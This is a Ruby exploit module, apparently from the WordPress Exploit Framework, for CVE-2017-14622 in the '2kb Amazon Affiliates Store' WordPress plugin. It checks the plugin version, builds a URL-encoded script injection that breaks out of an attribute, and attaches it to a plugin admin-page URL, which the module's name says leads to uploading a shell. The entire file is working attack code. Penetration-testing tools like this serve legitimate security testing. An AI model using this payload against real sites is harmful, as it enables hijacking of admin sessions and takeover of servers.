# frozen_string_literal: true

class Wpxf::Exploit::TwoKbAmazonAffiliatesStoreReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: '2kb Amazon Affiliates Store <= 2.1.0 Reflected XSS Shell Upload',
      author: [
        'rsanchezr', # Dislosure
        'rastating'  # WPXF module
      ],
      references: [
        ['CVE', '2017-14622'],
        ['WPVDB', '8918']
      ],
      date: 'Sep 20 2017'
    )
  end

  def check
    check_plugin_version_from_changelog('2kb-amazon-affiliates-store', 'readme.txt', '2.1.1')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=kbAmz&kbAction=demo#{xss_payload}"
  end
end
